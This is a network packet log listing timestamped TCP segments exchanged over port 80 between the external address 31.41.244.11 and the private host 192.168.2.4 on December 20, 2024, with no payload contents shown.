Dec 20, 2024 11:12:12.539107084 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.539156914 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.539160013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.539210081 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.540138006 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.540247917 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.540298939 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.541359901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.541423082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.541474104 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.542351961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.542387009 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.542402983 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.542431116 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.543412924 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.543462038 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.543518066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.543565035 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.544524908 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.544616938 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.544665098 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.545571089 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.545703888 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.545761108 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.546664000 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.546710968 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.546767950 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.547759056 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.547804117 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.547844887 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.547890902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.548835993 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.548930883 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.548986912 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.549916029 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.549968958 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.550021887 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.550992966 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.551054955 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.551096916 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.551901102 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.552086115 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.552135944 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.552200079 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.552249908 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.553158045 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.553312063 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.553366899 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.554277897 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.554395914 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.554447889 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.555367947 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.555418968 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.555588961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.555900097 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.556484938 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.556536913 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.556607962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.556658030 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.557498932 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.557553053 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.557631016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.557678938 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.558548927 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.558615923 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.694046974 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.694107056 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.694183111 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.694510937 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.694571018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.694632053 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.695571899 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.695626020 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.695679903 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.696432114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.696547985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.696594954 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.697488070 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.697540998 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.697607994 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.698581934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.698636055 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.698837996 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.699700117 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.699750900 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.699832916 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.699882030 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.700761080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.700884104 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.700934887 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.701869011 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.701941967 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.701997042 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.702980995 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.703033924 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.703073978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.703896999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.704015017 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.704113007 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.704164982 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.705163956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.705302954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.705357075 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.706290960 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.706345081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.706346989 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.707336903 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.707389116 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.707391977 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.707899094 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.708365917 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.708477020 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.708530903 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.709537983 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.709937096 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.709985971 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.710581064 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.710633993 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.710680008 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.711605072 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.711668968 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.711699963 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.711894035 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.712739944 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.712852955 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.712912083 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.713793993 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.713932037 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.713988066 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.714967012 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.715018034 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.715060949 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.715893984 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.715976000 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.716012001 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.716021061 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.716058969 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.717072010 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.717122078 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.717251062 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.717299938 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.718136072 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.718187094 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.718329906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.718379021 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.719228983 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.719278097 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.719355106 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.719403028 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.720371962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.720408916 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.720458984 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.721426964 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.721565008 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.721616983 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.722515106 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.722563982 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.722683907 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.723623037 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.723675966 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.723695040 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.723908901 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.724685907 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.724821091 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.724873066 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.725748062 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.725878954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.725930929 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.726847887 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.726901054 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.726972103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.727894068 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.728049994 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.728099108 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.728179932 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.728226900 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.729031086 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.729078054 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.729155064 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.729203939 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.730087042 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.730178118 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.730228901 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.731275082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.731311083 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.731369972 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.732285023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.732433081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.732485056 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.733362913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.733413935 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.733479977 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.734468937 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.734522104 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.734587908 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.735652924 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.735707998 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.735771894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.735812902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.736633062 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.736745119 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.736794949 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.737740040 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.737795115 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.737844944 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.738790035 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.738981009 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.739032030 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.739901066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.740005016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.740057945 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.740969896 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.741017103 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.741084099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.742115021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.742150068 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.742165089 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.742191076 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.743165016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.743285894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.743329048 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.744313002 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.744368076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.744375944 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.744421959 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.745347977 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.745395899 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.745441914 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.745496035 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.746422052 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.746478081 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.746521950 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.746563911 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.747531891 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.747586012 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.747636080 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.748631001 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.748718023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.748768091 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.749712944 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.749759912 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.749804020 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.750729084 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.750777960 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.885941982 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.886034012 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.886125088 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.886243105 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.886564970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.886622906 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.886636972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.886678934 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.887564898 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.887695074 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.887748003 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.888703108 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.888756990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.888808966 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.889740944 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.889792919 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.889872074 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.890858889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.890918016 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.890978098 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.891910076 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.891961098 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.892015934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.892066956 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.893011093 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.893142939 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.893198013 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.894134045 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.894182920 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.894249916 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.895158052 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.895215988 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.895298004 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.895906925 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.896269083 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.896465063 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.896508932 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.897387981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.897489071 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.897550106 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.898454905 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.898523092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.898581982 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.899560928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.899617910 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.899668932 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.899945021 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.900614977 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.900669098 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.900670052 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.900715113 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.901707888 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.901762962 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.901815891 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.901859999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.902781963 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.902836084 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.902915955 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.902966976 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.904017925 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.904073000 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.904077053 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.904117107 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.905196905 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.905251026 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.905252934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.905297995 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.906177044 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.906224966 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.906270981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.906313896 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.907193899 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.907242060 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.907283068 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.907327890 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.908211946 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.908262968 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.908334970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.908375025 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.909312010 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.909372091 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.909408092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.909452915 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.910393000 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.910442114 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.910657883 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.910706997 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.911495924 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.911549091 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.911618948 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.911665916 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.912621975 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.912673950 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.912688017 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.912739038 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.914064884 CET	80	49768	31.41.244.11	192.168.2.4
